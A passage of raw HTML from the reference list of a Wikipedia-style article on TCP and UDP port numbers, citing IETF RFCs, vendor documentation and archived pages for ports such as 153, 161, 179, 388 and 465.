<span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDavinCaseFedorSchoffstall1987\" class=\"citation cs1\">Davin, J.; Case, J.; Fedor, M.; Schoffstall, M. (November 1987). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1028#section-4\">\"The Authentication Protocol\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1028\"><i>Simple Gateway Monitoring Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;10.&#160;sec.&#160;4. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1028\">10.17487/RFC1028</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1028\">1028</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;This memo defines a simple application-layer protocol by which management information for a gateway may be inspected or altered by logically remote users.&#160;...&#160;An authentication protocol entity responds to protocol messages received at UDP port 153 on the host with which it is associated.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=The+Authentication+Protocol&amp;rft.btitle=Simple+Gateway+Monitoring+Protocol&amp;rft.pages=p.-10.-sec.-4&amp;rft.pub=IETF&amp;rft.date=1987-11&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1028&amp;rft.aulast=Davin&amp;rft.aufirst=J.&amp;rft.au=Case%2C+J.&amp;rft.au=Fedor%2C+M.&amp;rft.au=Schoffstall%2C+M.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1028%26%23035%3Bsection-4&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1056-73\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1056_73-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFLambert1988\" class=\"citation cs1\">Lambert, M. (June 1988). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1056#page-8\"><i>PCMAIL: A distributed mail system for personal computers</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;8. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1056\">10.17487/RFC1056</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1056\">1056</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;Pcmail is a distributed mail system providing mail service to an arbitrary number of users&#160;...&#160;The TCP contact port for DMSP has been designated 158.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=PCMAIL%3A+A+distributed+mail+system+for+personal+computers&amp;rft.pages=p.-8&amp;rft.pub=IETF&amp;rft.date=1988-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1056&amp;rft.aulast=Lambert&amp;rft.aufirst=M.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1056%26%23035%3Bpage-8&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1157-74\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc1157_74-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc1157_74-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCaseFedorSchoffstallDavin1990\" class=\"citation cs1\">Case, J.; Fedor, M.; Schoffstall, M.; Davin, C. (May 1990). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1157#section-4\">\"Protocol Specification\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1157\"><i>Simple Network Management Protocol (SNMP)</i></a>. Acknowledgements to IETF SNMP Extensions working group in section 6, \"Acknowledgements\", page 33. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;15.&#160;sec.&#160;4. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1157\">10.17487/RFC1157</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1157\">1157</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;A protocol entity receives messages at UDP port 161 on the host&#160;...&#160;Messages which report traps should be received on UDP port 162 for further processing.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Protocol+Specification&amp;rft.btitle=Simple+Network+Management+Protocol+%28SNMP%29&amp;rft.pages=p.-15.-sec.-4&amp;rft.pub=IETF&amp;rft.date=1990-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1157&amp;rft.aulast=Case&amp;rft.aufirst=J.&amp;rft.au=Fedor%2C+M.&amp;rft.au=Schoffstall%2C+M.&amp;rft.au=Davin%2C+C.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1157%26%23035%3Bsection-4&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-cisco-support-7244-75\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-cisco-support-7244_75-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/7244-snmp-trap.html\">\"Understanding Simple Network Management Protocol (SNMP) Traps\"</a>. Support. <i>Cisco</i> (published 2006-10-10). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161017190214/https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/7244-snmp-trap.html\">Archived</a> from the original on 2016-10-17<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Cisco&amp;rft.atitle=Understanding+Simple+Network+Management+Protocol+%28SNMP%29+Traps&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fwww.cisco.com%2Fc%2Fen%2Fus%2Fsupport%2Fdocs%2Fip%2Fsimple-network-management-protocol-snmp%2F7244-snmp-trap.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-X11R7.6-doc-xdmcp-76\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-X11R7.6-doc-xdmcp_76-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPackard2004\" class=\"citation book cs1\"><a href=\"/wiki/Keith_Packard\" title=\"Keith Packard\">Packard, Keith</a> (2004). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160109051239/http://www.x.org/releases/X11R7.6/doc/libXdmcp/xdmcp.html\"><i>X Display Manager Control Protocol</i></a> (Version 1.1&#160;ed.). <a href=\"/wiki/The_Open_Group\" title=\"The Open Group\">The Open Group</a>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://www.x.org/releases/X11R7.6/doc/libXdmcp/xdmcp.html\">the original</a> on 2016-01-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;The purpose of the X Display Manager Control Protocol (XDMCP) is to provide a uniform mechanism for an autonomous display to request login service from a remote host.&#160;...&#160;When XDMCP is implemented on top of the Internet User Datagram Protocol (UDP), port number 177 is to be used.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=X+Display+Manager+Control+Protocol&amp;rft.edition=Version+1.1&amp;rft.pub=The+Open+Group&amp;rft.date=2004&amp;rft.aulast=Packard&amp;rft.aufirst=Keith&amp;rft_id=https%3A%2F%2Fwww.x.org%2Freleases%2FX11R7.6%2Fdoc%2FlibXdmcp%2Fxdmcp.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (October 2016)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-rfc4271-77\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc4271_77-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRekhterLiHares2006\" class=\"citation cs1\">Rekhter, Yakov; Li, Tony; Hares, Susan, eds. (January 2006). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4271\"><i>A Border Gateway Protocol 4 (BGP-4)</i></a>. Acknowledgements to Kirk Lougheed et al. in section 2, \"Acknowledgements\", pages 6–7. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;8, 47–48, 51–52. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC4271\">10.17487/RFC4271</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4271\">4271</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-17</span></span>. <q>...&#160;BGP listens on TCP port 179.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=A+Border+Gateway+Protocol+4+%28BGP-4%29&amp;rft.pages=pp.-8%2C+47-48%2C+51-52&amp;rft.pub=IETF&amp;rft.date=2006-01&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC4271&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc4271&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc7194-78\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc7194_78-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc7194_78-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHartmann2014\" class=\"citation cs1\">Hartmann, Hartmann (August 2014). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7194#page-2\"><i>Default Port for Internet Relay Chat (IRC) via TLS/SSL</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC7194\">10.17487/RFC7194</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc7194\">7194</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>. <q>...&#160;Although system port assignments exist for IRC traffic that is plain text (TCP/UDP port 194) or TLS/SSL encrypted (TCP/UDP port 994), it is common practice amongst IRC networks not to use them for reasons of convenience and general availability on systems where no root access is granted or desired.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Default+Port+for+Internet+Relay+Chat+%28IRC%29+via+TLS%2FSSL&amp;rft.pages=p.-2&amp;rft.pub=IETF&amp;rft.date=2014-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC7194&amp;rft.aulast=Hartmann&amp;rft.aufirst=Hartmann&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc7194%26%23035%3Bpage-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1227-79\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc1227_79-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc1227_79-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1227#page-8\"><i>SNMP MUX Protocol and MIB</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. May 1991. p.&#160;8. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1227\">10.17487/RFC1227</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1227\">1227</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-10-15</span></span>. <q>When using the TCP to provide the transport-backing for the SMUX protocol, the SNMP agent listens on TCP port 199.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=SNMP+MUX+Protocol+and+MIB&amp;rft.pages=p.-8&amp;rft.pub=IETF&amp;rft.date=1991-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1227&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1227%26%23035%3Bpage-8&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-qmtp.txt-80\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-qmtp.txt_80-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBernstein\" class=\"citation web cs1\"><a href=\"/wiki/Daniel_J._Bernstein\" title=\"Daniel J. Bernstein\">Bernstein, Daniel B.</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://cr.yp.to/proto/qmtp.txt\">\"Quick Mail Transfer Protocol (QMTP)\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-18</span></span>. <q>...&#160;A QMTP client connects to a QMTP server, as discussed in section 7, over a reliable stream protocol allowing transmission of 8-bit bytes.&#160;...&#160;QMTP may be used on top of TCP. A QMTP-over-TCP server listens for TCP connections on port 209.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Quick+Mail+Transfer+Protocol+%28QMTP%29&amp;rft.aulast=Bernstein&amp;rft.aufirst=Daniel+B.&amp;rft_id=https%3A%2F%2Fcr.yp.to%2Fproto%2Fqmtp.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (April 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-SecureCast-81\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-SecureCast_81-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20000303111811/http://www.nai.com/asp_set/anti_virus/alerts/faq.asp\">\"Virus Alerts -- SecureCastFAQ\"</a>. <i>nai.com</i>. Santa Clara, CA, USA: Network Associates, Inc., now <a href=\"/wiki/McAfee#History\" title=\"McAfee\">McAfee</a>. 2000. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.nai.com/asp_set/anti_virus/alerts/faq.asp\">the original</a> on 2000-03-03<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=nai.com&amp;rft.atitle=Virus+Alerts+--+SecureCastFAQ&amp;rft.date=2000&amp;rft_id=http%3A%2F%2Fwww.nai.com%2Fasp_set%2Fanti_virus%2Falerts%2Ffaq.asp&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-82\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-82\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.faqs.org/rfcs/rfc1504.html\">\"RFC 1504 - Appletalk Update-Based Routing Protocol: Enhanced App\"</a>. <i>faqs.org</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=faqs.org&amp;rft.atitle=&#82;FC+1504+-+Appletalk+Update-Based+Routing+Protocol%3A+Enhanced+App&amp;rft_id=http%3A%2F%2Fwww.faqs.org%2Frfcs%2Frfc1504.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-83\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-83\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFsteve2005\" class=\"citation book cs1\">steve (2005-07-12). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.unidata.ucar.edu/software/ldm/ldm-6.13.6/basics/preinstallation.html\">\"LDM Preinstallation Steps\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.unidata.ucar.edu/software/ldm/ldm-6.13.6/basics/\"><i>LDM Reference</i></a>. 6.13.6. Unidata. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20181121184502/https://www.unidata.ucar.edu/software/ldm/ldm-6.13.6/basics/preinstallation.html\">Archived</a> from the original on 2018-11-21<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-11-21</span></span>. <q>...&#160;In order for the LDM system to send data to a downstream LDM, the firewall rules must allow incoming TCP connections to the port on which the LDM server is listening (the default is 388).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=LDM+Preinstallation+Steps&amp;rft.btitle=LDM+Reference&amp;rft.series=6.13.6&amp;rft.pub=Unidata&amp;rft.date=2005-07-12&amp;rft.au=steve&amp;rft_id=https%3A%2F%2Fwww.unidata.ucar.edu%2Fsoftware%2Fldm%2Fldm-6.13.6%2Fbasics%2Fpreinstallation.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (November 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-84\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-84\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.unidata.ucar.edu/software/ldm/ldm-current/networkSecurityAndSetup.html\">\"The Unidata LDM and Network Security\"</a>. <i>Unidata</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20181121184229/https://www.unidata.ucar.edu/software/ldm/ldm-6.13.6/networkSecurityAndSetup.html\">Archived</a> from the original on 2018-11-21<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-11-21</span></span>. <q>...&#160;Use of the LDM requires that any host listed in its access control list be allowed a TCP connection to port 388 on the localhost. If the localhost is behind a firewall, the firewall must allow TCP access to port 388.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Unidata&amp;rft.atitle=The+Unidata+LDM+and+Network+Security&amp;rft_id=https%3A%2F%2Fwww.unidata.ucar.edu%2Fsoftware%2Fldm%2Fldm-current%2FnetworkSecurityAndSetup.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (November 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-msft-tn-dd772723-85\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-msft-tn-dd772723_85-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/dd772723(v=ws.10).aspx\">\"Active Directory and Active Directory Domain Services Port Requirements\"</a>. <i><a href=\"/wiki/Microsoft_TechNet\" title=\"Microsoft TechNet\">Microsoft TechNet</a></i> (published 2014-03-28). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170802065207/https://technet.microsoft.com/en-us/library/dd772723%28v%3Dws.10%29.aspx\">Archived</a> from the original on 2017-08-02<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-08-02</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+TechNet&amp;rft.atitle=Active+Directory+and+Active+Directory+Domain+Services+Port+Requirements&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fdd772723%28v%3Dws.10%29.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-87\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-87\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMooreNewman2018\" class=\"citation cs1\">Moore, Keith; Newman, Chris (January 2018). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.rfc-editor.org/rfc/rfc8314.html\"><i>Cleartext Considered Obsolete: Use of Transport Layer Security (TLS) for Email Submission and Access</i></a>. Internet Engineering Task Force. pp.&#160;18–19. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC8314\">10.17487/RFC8314</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc8314\">8314</a>. <q><b>Submissions Port Registration</b> IANA has assigned an alternate usage of TCP port 465 in addition to the current assignment... Historically, port 465 was briefly registered as the \"smtps\" port. This registration made no sense, as the SMTP transport MX infrastructure has no way to specify a port, so port 25 is always used. As a result, the registration was revoked and was subsequently reassigned to a different service... Although STARTTLS on port 587 has been deployed, it has not replaced the deployed use of Implicit TLS submission on port 465.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Cleartext+Considered+Obsolete%3A+Use+of+Transport+Layer+Security+%28TLS%29+for+Email+Submission+and+Access&amp;rft.pages=pp.-18-19&amp;rft.pub=Internet+Engineering+Task+Force&amp;rft.date=2018-01&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC8314&amp;rft.aulast=Moore&amp;rft.aufirst=Keith&amp;rft.au=Newman%2C+Chris&amp;rft_id=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc8314.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-88\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-88\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=465\">\"Service Name and Transport Protocol Port Number Registry\"</a>. <a href=\"/wiki/Internet_Assigned_Numbers_Authority\" title=\"Internet Assigned Numbers Authority\">Internet Assigned Numbers Authority</a>.</cite><span 